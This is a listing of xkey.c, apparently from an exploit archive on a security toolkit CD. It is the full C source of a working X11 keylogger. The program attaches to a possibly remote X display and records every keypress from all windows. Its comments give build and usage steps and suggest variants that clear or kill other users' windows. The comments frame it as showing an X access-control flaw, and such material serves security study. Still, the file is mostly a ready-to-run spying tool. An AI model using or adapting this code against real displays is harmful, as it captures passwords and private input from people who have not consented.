home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / xkey.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  131 lines

  1. /* To compile, run it through your favorite ansi compiler something like
  2. ** this :
  3. **
  4. **    gcc -o xkey xkey.c -lX11 -lm
  5. **
  6. ** To run it, just use it like this :  xkey displayname:0
  7. ** and watch as that display's keypresses show up in your shell window.
  8. **
  9. **    Dominic Giampaolo (nick@cs.maxine.wpi.edu)
  10. */
  11. #include <stdio.h>
  12. #include <X11/X.h>
  13. #include <X11/Xlib.h>
  14. #include <X11/Intrinsic.h>
  15. #include <X11/StringDefs.h>
  16. #include <X11/Xutil.h>
  17. #include <X11/Shell.h>
  18.  
  19. char *TranslateKeyCode(XEvent *ev);
  20.  
  21. Display *d;
  22.  
  23. void snoop_all_windows(Window root, unsigned long type)
  24. {
  25.   static int level = 0;
  26.   Window parent, *children, *child2;
  27.   unsigned int nchildren;
  28.   int stat, i,j,k;
  29.  
  30.   level++;
  31.  
  32.   stat = XQueryTree(d, root, &root, &parent, &children, &nchildren);
  33.   if (stat == FALSE)
  34.     {
  35.       fprintf(stderr, "Can't query window tree...\n");
  36.       return;
  37.     }
  38.  
  39.   if (nchildren == 0)
  40.     return;
  41.  
  42.   /* For a more drastic inidication of the problem being exploited
  43.    * here, you can change these calls to XSelectInput() to something
  44.    * like XClearWindow(d, children[i]) or if you want to be real
  45.    * nasty, do XKillWindow(d, children[i]).  Of course if you do that,
  46.    * then you'll want to remove the loop in main(). 
  47.    *
  48.    * The whole point of this exercise being that I shouldn't be
  49.    * allowed to manipulate resources which do not belong to me.
  50.    */
  51.   XSelectInput(d, root, type);
  52.  
  53.   for(i=0; i < nchildren; i++)
  54.     {
  55.       XSelectInput(d, children[i], type);
  56.       snoop_all_windows(children[i], type);
  57.     }
  58.  
  59.   XFree((char *)children);
  60. }
  61.  
  62.  
  63. void main(int argc, char **argv)
  64. {
  65.   char *hostname;
  66.   char *string;
  67.   XEvent xev;
  68.   int count = 0;
  69.  
  70.   if (argv[1] == NULL)
  71.     hostname = ":0";
  72.   else
  73.     hostname = argv[1];
  74.  
  75.   d = XOpenDisplay(hostname);
  76.   if (d == NULL)
  77.     {
  78.       fprintf(stderr, "Blah, can't open display: %s\n", hostname);
  79.       exit(10);
  80.     }
  81.  
  82.   snoop_all_windows(DefaultRootWindow(d), KeyPressMask);
  83.  
  84.   while(1)
  85.     {
  86.       XNextEvent(d, &xev);
  87.  
  88.       string = TranslateKeyCode(&xev);
  89.       if (string == NULL)
  90.         continue;
  91.  
  92.       if (*string == '\r')
  93.         printf("\n");
  94.       else if (strlen(string) == 1)
  95.         printf("%s", string);
  96.       else
  97.         printf("<<%s>>", string);
  98.       fflush(stdout);
  99.     }
  100. }
  101.  
  102.  
  103. #define KEY_BUFF_SIZE 256
  104. static char key_buff[KEY_BUFF_SIZE];
  105.  
  106. char *TranslateKeyCode(XEvent *ev)
  107. {
  108.   int count;
  109.   char *tmp;
  110.   KeySym ks;
  111.  
  112.   if (ev)
  113.     {
  114.       count = XLookupString((XKeyEvent *)ev, key_buff, KEY_BUFF_SIZE, &ks,NULL);
  115.       key_buff[count] = '\0';
  116.  
  117.       if (count == 0)
  118.         {
  119.           tmp = XKeysymToString(ks);
  120.           if (tmp)
  121.             strcpy(key_buff, tmp);
  122.           else
  123.             strcpy(key_buff, "");
  124.         }
  125.  
  126.       return key_buff;
  127.     }
  128.   else
  129.     return NULL;
  130. }
  131. /*                    www.hack.co.za              [2000]*/